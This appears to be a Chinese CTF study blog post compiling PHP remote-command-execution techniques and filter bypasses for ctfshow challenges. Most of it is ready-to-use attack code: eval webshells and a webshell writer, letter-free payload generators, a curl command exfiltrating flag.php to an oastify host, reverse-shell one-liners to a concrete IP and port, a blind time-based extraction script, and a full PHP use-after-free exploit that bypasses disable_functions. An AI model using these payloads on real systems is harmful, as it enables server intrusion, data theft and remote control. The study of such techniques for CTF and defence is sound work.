目录

  1. 1. RCE(命令执行)
    1. 1.1. 危险函数
      1. 1.1.1. eval()
      2. 1.1.2. call_user_func()
      3. 1.1.3. create_function()
    2. 1.2. Linux指令
      1. 1.2.1. 文件管理
      2. 1.2.2. Glob通配符
    3. 1.3. 系统命令
    4. 1.4. 绕过被过滤的字符
      1. 1.4.1. 关键字绕过
      2. 1.4.2. 参数带外
      3. 1.4.3. 文件包含带外
      4. 1.4.4. 拼接绕过
      5. 1.4.5. 单引号双引号绕过
      6. 1.4.6. 反斜杠绕过
      7. 1.4.7. 编码绕过
        1. 1.4.7.1. base64
        2. 1.4.7.2. hex
        3. 1.4.7.3. oct/字节
      8. 1.4.8. 一句话木马
      9. 1.4.9. 绕过preg_replace
    5. 1.5. 无字母数字rce
      1. 1.5.1. 取反(PHP>7)
      2. 1.5.2. 异或
      3. 1.5.3. 自增
      4. 1.5.4. 临时文件
    6. 1.6. 无回显rce
      1. 1.6.1. dnslog带外
      2. 1.6.2. 写入文件并下载
      3. 1.6.3. 盲注
      4. 1.6.4. 写马
      5. 1.6.5. 反弹shell
    7. 1.7. 无参rce
      1. 1.7.1. php函数直接读取文件
      2. 1.7.2. 使用session_start()+session_id()读取文件
      3. 1.7.3. 通过dirname()实现任意文件读取
      4. 1.7.4. 使用getallheaders()函数进行命令执行
      5. 1.7.5. 使用get_defined_vars()
    8. 1.8. 突破禁用函数
      1. 1.8.0.1. 输出打印:
      2. 1.8.0.2. 查看目录:
      3. 1.8.0.3. 读取文件:
      4. 1.8.0.4. ob_代码应对
  2. 1.9. 系统环境变量构造命令
    1. 1.9.1. 环境变量(以靶机为例)
  3. 1.10. 利用数学函数构造命令执行
    1. 1.10.1. getallheaders()函数
  4. 1.11. 7字符长度限制

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

RCE总结

2023/3/15 Web RCE
  |     |   总文章阅读量:

RCE(命令执行)

危险函数

eval并非PHP函数,放在disable_functions中是无法禁用的,若要禁用需要用到PHP的扩展Suhosin

assert()    //判断一个表达式是否成立。返回true or false; 

preg_replace()   //函数是用来执行一个正则表达式的搜索和替换的  preg_replace(要搜索的字符串,用于替换的字符串,要搜索替换的字符串)

eval()

将输入的字符串参数当做PHP程序代码来执行

如果我们通过<?=`ls`;去执行的话需要在前面添加?>进行截断

也可以直接调用函数

call_user_func()

官方文档

以动态方式调用一个函数,并将一个数组作为参数列表传递给该函数

调用函数:

<?php
function test($test1,$test2) {
    return $test1 . $test2;
}
echo call_user_func('test', 'a', 'b'); // 输出结果为ab

第一个参数是要调用的函数名或者回调函数,可以是一个字符串(表示函数名),也可以是一个数组(表示对象方法或类静态方法)
第二个参数是一个数组,包含要传递给函数的参数列表

调用一个类里的方法:

ctfshow web137,138

<?php
class myclass {
    static function say_hello()
    {
        echo "Hello!\n";
    }
}
$classname = "myclass";
call_user_func(array($classname, 'say_hello'));	// 数组调用类的方法
call_user_func($classname .'::say_hello');	// 直接调用
$myobject = new myclass();
call_user_func(array($myobject, 'say_hello'));	//先实例化后调用
?>

命令执行:

call_user_func(array(system, 'ls /'));
call_user_func(array(assert, eval($_POST[1])));	// 回调后门,带到post请求里进行任意命令执行
  • call_user_func_array()

    把第一个参数作为回调函数进行调用,第二个参数传入数组,将数组中的值作为回调函数的参数

    function a($b, $c) {  
                 echo $b; 
                 echo $c; 
              } 
              call_user_func_array('a', array("111", "222"));  //输出 111 222

create_function()

该函数用来创建匿名函数,并为其返回唯一名称(PHP4,PHP5,PHP7)

ctfshow web147

create_function(string $args,string $code)
//string $args 声明的函数变量部分(不声明的话就是无参函数)
//string $code 执行的方法代码部分

以下面这段代码为例:

<?php
$id=$_GET['id'];
$code = 'echo $name. '.'的编号是'.$id.'; ';
$b = create_function('$name',$code);

create_function的操作会产生一个新的匿名函数

// 实现
function __lambda_func($name){
echo $name."编号".$id;
}
$b('C1oudfL0w0');

而我们可以通过;}提前闭合这个匿名函数,然后执行我们的命令,最后用/*把后面的内容注释掉

payload:

?id=2;}phpinfo();/* 

此时函数为:

function __lambda_func($name){
echo $name.编号2;
     }phpinfo();/*
}

然后就能执行phpinfo

  • array_map()

    array_map(引用的函数名称,数组1,可选的数组2)

    function myfunction($v1){
    function oneArray($v)
    {
    	if ($v == 'two') {
      		return "this is two";
      	}
    	return $v;
    }
    $one_array = ['one','two','three'];
    print_r(array_map('oneArray', $one_array));
    

Linux指令

  • ls:查看目录

    • -lst 查看目录下文件权限
  • whoami:返回系统当前用户名

  • pwd:显示当前目录

  • source命令(.)

    重新执行刚修改的初始化文件,使之立即生效,而不必注销并重新登录。因为linux所有的操作都会变成文件的格式存在。

    source filename		# filename必须是可执行的脚本文件
    或者
    . filename			# 注意“.”号后面还有一个空格

文件管理

  • cat

    连接文件并打印到标准输出设备上

    读取文件内容,结果不会直接返还,需要查看网页源代码

  • tac/head/tail/more/less/nl……:等同于cat

  • uniq

    检查及删除**文本文件(txt)**中重复出现的行列,一般与 sort 命令结合使用

    同样可以输出文件内容

  • tee

    读取标准输入的数据,并将其内容输出成文件

    command | tee file.txt

  • mv

    为文件或目录改名、或将文件或目录移入其它位置

    命令格式 运行结果
    mv source_file(文件) dest_file(文件) 将源文件名 source_file 改为目标文件名 dest_file
    mv source_file(文件) dest_directory(目录) 将文件 source_file 移动到目标目录 dest_directory 中
    mv source_directory(目录) dest_directory(目录) 目录名 dest_directory 已存在,将 source_directory 移动到目录名 dest_directory 中;目录名 dest_directory 不存在则 source_directory 改名为目录名 dest_directory
    mv source_directory(目录) dest_file(文件) 出错

Glob通配符

*:匹配零个或者多个字符

?:匹配一个字符

[]:匹配指定集合中的任意单个字符,比如[abc]表示匹配单个字符a或者b或者c

{a,b}:匹配a或者b,a与b也是通配符,可以由其他通配符组成

!:表示非,比如!1.txt表示排除文件1.txt

[0-9]:匹配单个数字

[[:upper:]]:匹配任意单个大写字母

[[:lower:]]:匹配任意单个小写字母

[[:digit:]]:匹配任意单个数字,等价于[0-9]

[[:alpha:]]:匹配任意单个字母,包括大写字母与小写字母

[[:alnum:]]:匹配任意单个字母与数字

[[:space:]]:匹配单个空白字符

[[:punctl:]]:匹配单个标点符号

[^]:匹配指定集合之外的其他任意单个字符,比如[^abc]表示匹配除了a、b、c以外的其他任意字符

系统命令

使用system前先查看phpinfo中的disabled_functions禁用的函数

  • system()

    直接在终端打印返回结果,成功则返回命令输出的最后一行,失败则返回FALSE

  • passthru()

    执行外部程序并且显示原始输出,只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上

    <?php
         passthru("ls");
    ?>
    
    执行结果:index.phptest.php
  • exec()

    执行一个外部程序,命令执行结果的最后一行内容

    <?php
            echo exec("ls",$output);
            echo "</br>";
            print_r($output);
    ?>
    
    //$output:数组格式,用于存储输出的信息
    
    
    执行结果:
    test.php
    Array( [0] => index.php [1] => test.php)
  • pcntl_exec()

    在当前进程空间执行指定程序

  • shell_exec()

    命令执行的输出。如果执行过程中发生错误或者进程不产生输出,则返回NULL。

    $result = shell_exec($cmd);
    
    $cmd:shell脚本
    $result:shell脚本的执行结果
  • popen()

    不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行`

    <?php popen( 'whoami >> c:/1.txt', 'r' ); ?>
     
    <?php  
        $test = "ls /tmp/test";  
        $fp = popen($test,"r");  //popen打一个进程通道  
      
        while (!feof($fp)) {      //从通道里面取得东西  
            $out = fgets($fp, 4096);  
             echo  $out;         //打印出来  
        }  
        pclose($fp);  
    ?> 
  • 反引号``:命令执行,内联执行,`ls`输出查询结果的内容

    与shell_exec功能相同,执行shell命令并返回输出的字符串

  • ob_start()

    打开缓冲区,开始输出缓冲, 这时PHP停止输出, 在这以后的输出都被转到一个内部的缓冲里

  • >

    重定向符

    echo123> /home/123.txt
  • >/dev/null 2>&1

    写入的内容会永远消失,也就是不进行回显,需用;号或者||等等一些命令分隔符进行命令分隔

    /dev/null

    将标准输出1重定向到/dev/null中。 /dev/null代表linux的空设备文件,所有往这个文件里面写入的内容都会丢失,俗称“黑洞”。那么执行了>/dev/null之后,标准输出就会不再存在,没有任何地方能够找到输出的内容

    2>&1

    2> 表示stderr标准错误

    & 表示等同于的意思,2>&1,表示2的输出重定向等同于1

    1 表示stdout标准输出,系统默认值是1,所以”>/dev/null”等同于 “1>/dev/null”

    image-20230305110214437

  • &:按位与

  • &&:逻辑与

  • |:按位或,直接执行下一条语句

  • ||:逻辑或

  • ;:在 shell 中,是”连续指令”,执行下一条语句

  • scandir(‘/‘):列出指定路径中的文件和目录

  • file_get_contents(‘/flag’):读取文件

  • find:查找与指定参数条件匹配的文件及目录列表

    • -name:按文件名称查找

绕过被过滤的字符

关键字绕过

下划线:“+”或“[”或“ ”或“.”

空格(\x09):$IFS$9 、${IFS}(适用于linux命令下) 、%09(php环境下)、重定向符<>、<、\x20

分号:%0a

/:chr(47)

*号:先获取目标文件名称,然后通过?通配符匹配单个字母,也就是fla?????匹配flag.php(使用<时不能使用?匹配)

​ 使用fla’’g.php

参数带外

?c=eval($_GET[1]);&1=system("tac%20flag.php");

文件包含带外

eval(include;$_GET[a]?>)&a=伪协议

拼接绕过

a=l;b=s;$a$b

a=c;b=at;c=f;d=lag;$a$b ${c}${d}

a=“ccaatt”;b=${a:0:1}${a:2:1}${a:4:1};$b test

单引号双引号绕过

c'a't test
c"a"t test

反斜杠绕过

ca\t flag

编码绕过

base64

echo Y2F0IC9mbGFn|base64 -d|bash ==>cat /flag
echo Y2F0IC9mbGFn|base64 -d|sh==>cat /flag
echo Y2F0IGZsYWcucGhw|base64 -d|bash==>cat flag.php
echo Y2F0IGZsYWcucGhw|base64 -d|sh==>cat flag.php

hex

echo "0x636174202f666c6167" | xxd -r -p|bash ==>cat /flag

oct/字节

$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
${printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag

一句话木马

内容为

<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

绕过preg_replace

preg_replace("/system/",'',$a);

双写system即可实现绕过


无字母数字rce

原型:对以下代码的绕过

<?php
if(!preg_match('/[A-Za-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}if(preg_match('/^\W+$/', $v3))

可以直接看p神的博客:

一些不包含数字和字母的webshell:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

无字母数字webshell之提高篇:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

取反(PHP>7)

<?php
highlight_file(__FILE__);
$code1="system";
$code2="cat /f*";
echo "<br>";
echo "?wllm=(~".urlencode(~$code1).")(~".urlencode(~$code2).");";
?> 
$(())
$((~$(())))=-1
${_} =""返回上一次命令

异或

一代脚本:

valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "

answer = str(input(""))#请输入进行异或构造的字符串

tmp1, tmp2 = '', ''
for c in answer:
  for i in valid:
    for j in valid:
      if (ord(i) ^ ord(j) == ord(c)):
        tmp1 += i
        tmp2 += j
        break
    else:
      continue
    break
print("tmp1为:",tmp1)
print("tmp2为:",tmp2)

二代脚本:

先生成可用的字符集

<?php

$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=33; $i < 126; $i++) { 
    for ($j=33; $j <126; $j++) { 
        if($i<16){
            $hex_i='0'.dechex($i);
        } else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        } else{
            $hex_j=dechex($j);
        }
        $preg = '/[a-z,A-Z,0-9>\?\'\"]/i';    // 根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))) {
            echo "";
        } else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)^urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }
    }
}
fwrite($myfile,$contents);
fclose($myfile);

再生成异或字符串

import urllib.parse

def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("rce_or.txt", "r")
        k = f.readlines()
        for t in k:

            if t == "":
                break
            if t[0] == i:
                s1 += urllib.parse.unquote(t[2:5])
                s2 += urllib.parse.unquote(t[6:9])
                break
        f.close()
    output = "\'" + s1 + "\'^\'" + s2 + "\'\n"
    return output

while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
    print(param)

自增

最终我们要把参数带出来,即构造$_GET$_POST

(传入时记得url编码)

$_++=1

$_++_变量进行了自增操作,由于我们没有定义_的值,PHP会给_赋一个默认值NULL==0,

由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字

  • 注:linux命令下不能构造($__++)+($__++)+($__++)+($__++)+($__++)+($__++)+($__++)+($__++)+($__++)类似语句获取数字

  • 在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为”Array”

    实战一般会用_/_._获取NAN_快速获取$_POST

    "A"++ ==> "B"
    "B"++ ==> "C"
        如果我们能够得到"A",那么我们就能通过自增自减,得到所有的字母
        
    $_=[].'';   //得到"Array"
    $___ = $_[$__];   //得到"A",$__没有定义,默认为False也即0,此时$___="A"
    
    $_=_/_._;   // 得到"NAN_"
    $_=(_/_._)[0]; //得到"N"

以Array为例拼出$_GET:(用到chr函数)长度120

<?php
error_reporting(0);
$_=[].'';   // Array
$__=$_[1];  // r
$_=$_[3];   // a
$___=++$_;$___++;  // c
$_++;$_++;$_++;$_++;$_++;$_++; // h
$__=$___.$_.$__;  // chr
$_=_.$__(71).$__(69).$__(84); // _GET
$$_{1}

精简为一句话版:

$___=[];$_=$___[3];$_++;$_++;$__=$_++;$_++;$_++;$_++;$__.=++$_.$___[2];$_=_.$__(71).$__(69).$__(84);($$_{1})($$_{2});

以NAN为例拼出$_POST

<?php
error_reporting(0);
$NAN = _ / _ . _; // NAN_
$N = $NAN[0]; // N
$O = ++$N; // O
$PO = ++$N . $O; // PO
$N++; // Q
$N++; // R
$S = ++$N; 	// S
$T = ++$N;	// T
$POST = _ . $PO . $S . $T; // _POST
echo $POST;

简化一下然后换变量名

<?php
$_ = (_ / _ . _)[0]; // N
$__ = ++$_; // O
$___ = ++$_ . $__; // PO
$_++; //Q
$_++; //R
$____ = ++$_;
$_____ = ++$_;
$POST = _ . $___ . $____ . $_____; // _POST

缩成一句话,长110

$_=(_/_._)[0];$__=++$_;$___=++$_.$__;$_++;$_++;$____=++$_;$_____=++$_;$______=_.$___.$____.$_____;$$______{1};

更短的参考极限RCE

参数带出来之后建议写马

1=file_put_contents('1.php','<?php @eval($_POST["cmd"]); ?>')`

临时文件

$_均被过滤的情况(P神文章)

  • 使用bin下的base64命令

    ?c=/???/????64 ????????

临时文件目录:

Linux临时文件主要存储在/tmp/目录下,格式通常是(/tmp/php[6个随机字符])

Windows临时文件主要存储在C:/Windows/目录下,格式通常是(C:/Windows/php[4个随机字符].tmp)

大概就是在自己的vps上写一个命令执行的txt,然后在题目post该命令

  • PHP5

    • 要点:

      1. shell下可以利用.来执行任意脚本
      2. Linux文件名支持用glob通配符代替
    • 思路

      通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
      注意:通过.去执行sh命令不需要有执行权限

    • 操作:

      1. 本地服务器构造POST上传文件数据包

        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>POST数据包POC</title>
        </head>
        <body>
        <form action="http://7f21b48d-249b-4f0e-8c3e-5be2fae43b59.challenge.ctf.show/" method="post" enctype="multipart/form-data">
        <!--链接是当前打开的题目链接-->
            <label for="file">文件名:</label>
            <input type="file" name="file" id="file"><br>
            <input type="submit" name="submit" value="提交">
        </form>
        </body>
        </html>
        
      2. 抓包构造执行命令,在上传文件内容添加sh命令

        ?c=.+/???/????????[@-[](通配符匹配大写字母)
        文件内容
        #!/bin/sh
        ls

无回显rce

exec等无回显的命令执行

dnslog带外

利用burp中的Collaborator Client

使用curl指令进行带外

curl -X POST -F xx=@flag.php  http://k9u5p3u5hn9tl61hux77y81ad1jt7i.oastify.com

image-20230717131213534

写入文件并下载

ctfshow web136

把命令执行的结果写文件然后访问下载文件

ls / | tee 1

这样可以把ls /的结果输出写入1文件,然后就可以访问并下载

盲注

脚本by Kradress

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests
import time as t
from urllib.parse import quote as urlen
url  = 'http://1c288549-6ed6-481e-9941-073a0889da5d.challenge.ctf.show/?c='
alphabet = ['{','}', '.','/','@','-','_','=','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

result = ''
for i in range(1,100):
	for char in alphabet:
		payload = "if [ ` ls / | awk 'NR==4'  |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char) #flag.php
		# payload = "if [ `cat /f149_15_h3r3 | awk 'NR==1' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char)
		# data = {'cmd':payload}
		try:
			start = int(t.time())
			r = requests.get(url+payload)
			# r = requests.post(url, data=data)
			end = int(t.time()) - start
			# print(i,char)
			if end >= 3:		
				result += char
				print("Flag: "+result)
				break
		except Exception as e:
			print(e)

payload部分:

  • ls /:列出 / 目录下的所有文件和目录。
  • awk 'NR==4':选取输出结果中的第四行(前三个文件一般都是bin dev etc)
  • cut -c{}:选取该行中的第 i 个字符。
  • =:比较该字符是否等于当前字符。
  • sleep 5:如果比较成功,则等待 5 秒钟。

写马

echo "<?php eval($_POST['cmd']);?>" > shell.php

反弹shell

参考文章:

Linux反弹shell(一)文件描述符与重定向

Linux 反弹shell(二)反弹shell的本质

在线生成反弹shell命令:https://www.ddosi.org/shell/

常用:

bash -c "bash -i >& /dev/tcp/115.236.153.170/57746 0>&1"
nc 115.236.153.170 57746 -e sh

无参rce

参考文章

依靠传入没有参数的函数套娃就可以达到命令执行的效果

核心

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

php函数直接读取文件

payload例
    highlight_file(next(array_reverse(scandir(current(localeconv())))));
  • localeconv()函数

    返回一包含本地数字及货币格式信息的数组

    第一个返回的是点,可利用的点就是代表当前目录,可以结合其他函数进行目录扫描

  • scandir()函数

    目录扫描

    scandir(current(localeconv()))
        查看当前目录
  • chdir()函数

    跳目录

    向上跳就要构造chdir(‘…’)

  • array_reverse()函数

    将整个数组倒过来,有的时候当我们想读的文件比较靠后时,就可以用这个函数把它倒过来,就可以少用几个next()

  • highlight_file()/show_source()函数

    打印输出或者返回 filename 文件中语法高亮版本的代码,相当于就是用来读取文件的

    被过滤时:print(file_get_contents())

  • reset()函数

    表示内部指针指向数组的第一个元素并输出

  • next()函数

    表示内部指针指向数组的下一个元素,并输出

  • 打印时flag被包含可加上base64_encode()

使用session_start()+session_id()读取文件

php<7

?code=show_source(session_id(session_start())); 
Cookie: PHPSESSID=index.php

通过dirname()实现任意文件读取

使用它对目录进行执行的话就会返回上级目录

var_dump(scandir(getcwd()));
var_dump(scandir(dirname(dirname(dirname(getcwd())))));

使用getallheaders()函数进行命令执行

getallheaders()函数可以获取所有的HTTP标头

由于包的请求头信息可控,如果能够执行我们指定的请求头内容,就能实现代码执行

利用函数指向我们需要的请求头元素,用eval在对应的请求头元素进行命令执行即可

比如:

GET /?star=eval(next(getallheaders())); HTTP/1.1
Host: test:70
User-Agent: system('cat /flag');
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

此时UA头是getallheaders()返回的数组的第二个元素,利用next指向它,用eval进行命令执行即可

使用get_defined_vars()

返回由所有已定义变量所组成的数组,会按顺序返回$_GET$_POST$_COOKIE$_FILES

示例:

GET?code=eval(array_pop(next(get_defined_vars())));
POST1=system('ls');

突破禁用函数

system() has been disabled for security reasons说明php.ini配置中默认禁用了执行系统外部命令函数,我们可以用php内置函数来读取文件

输出打印:

print_r();
var_dump();
var_export();

查看目录:

scandir('.')	//查看当前目录
glob('*')
scandir('/')	//查看根目录

glob://伪协议

?><?php
$it = new DirectoryIterator($_GET['file']);
foreach($it as $f) {
 printf("%s", $f->getFilename());
	echo'</br>'; 
}
?>
    
    ?> //闭合前面语句
    查询根目录用 ?file=glob:///*

$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
	echo($f->__toString().' ');
}exit();

查找匹配的文件路径模式

读取文件:

show_source();
highlight_file();
file_get_contents();
include();
require();

当前目录直接读取
根目录下前面加/

uaf脚本命令执行

利用php的垃圾回收的漏洞实现绕过安全目录

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() {
            global $backtrace;
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) {

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) {
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10;
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4);
    write($abc, 0xd0 + 0x68, $zif_system);

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();

使用PDO连接MySQL数据库

先连接默认数据库information_schema达到命令执行的目录,只需要猜解出mysql的用户名和密码即可,以此获取数据库名

$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

然后使用load_file函数读取信息

try {$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root','root');
		foreach($dbh->query('select load_file("/flag36.txt")') as $row)
		{echo($row[0])."|"; }$dbh = null;}
		catch (PDOException $e) {echo $e->getMessage();exit(0);
    }
exit(0);
//information_schema改成要读取的数据库名

FFI特性

PHP>=7.4

public static FFI::cdef(string $code = "", ?string $lib = null): FFI
    
其中$code为一个字符串,包含常规C语言中的一系列声明,
$lib为要加载和链接的共享库文件名称,
如果省略lib,则平台将会尝试在全局范围内查找代码中声明的符号,其他系统将无法解析这些符号。
  • Payload
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的,需要访问1.txt
$ffi->system($a);//通过$ffi去调用system函数

ob_代码应对

ob_get_contents();//返回输出缓冲区的内容
ob_end_clean();//清空(擦除)缓冲区并关闭输出缓冲
  • 绕过方法:

    执行完我们传入的代码然后直接结束程序不执行后面的代码

    die();
    exit(0);

系统环境变量构造命令

前置

image-20230327203103652

利用环境变量取字母进行拼接构造命令(可用通配符)

一般构造/bin/(读取命令或base64) flag.php

环境变量(以靶机为例)

env可查看所有环境变量

set可查看本地定义的环境变量

PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

PWD:/var/www/html

USER:www-data

HOME:当前用户的主目录

SHLVL:记录多个 Bash 进程实例嵌套深度的累加器,默认恒为1

PHP_VERSION:以7.3.22为例

**$?**:是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误

此处防止渲染失败使用了tab分隔,不过直接复制也不影响命令执行

${PATH:~0}${PATH:~A}
获取字符n(0和字母都代表从最后面数)
${PWD:~0}
获取字符l
${PWD:0}
/var/www/html
${PWD:1}
var/www/html
${PWD:2:4}(第三位是长度)
ar/w

${	#	}
获取数字0
${	#SHLVL	}${	##	}${	#?	}
获取数字1
${	PHP_VERSION:~A	}
从7.3.22中获取数字2
${	#IFS	}=3
linux下是3,mac里是4
${	#RANDOM	}
获取4或5
${HOME:${	#	}:${	##	}}${PWD::${	#SHLVL	}}
获取/
${USER:~A}
获取a
${HOME:${	#HOSTNAME	}:${	#SHLVL	}}
获取t
${PWD:${#IFS	}:${	#?	}}
获取r
构造/bin/rev逆序读取文件

过滤#时
<A;${	HOME::$?	}???${	HOME::$?	}?????${	RANDOM::$?	} ????.???
(让前面报错得到1) /bin/base64

利用数学函数构造命令执行

原理:利用base_convert()函数的进制转换构造字符串

base_convert() 函数在任意进制之间转换数字。(不能转换除数字外的字符)
语法
base_convert(number,frombase,tobase);
参数 描述
number 必需。规定要转换的数。
frombase 必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase 必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
技术细节 返回值:number 转换为指定进制。
返回类型:String
PHP 版本:4+

eg:

<?php
echo base_convert('phpinfo',36,10);
#55490343972
?>
<?php
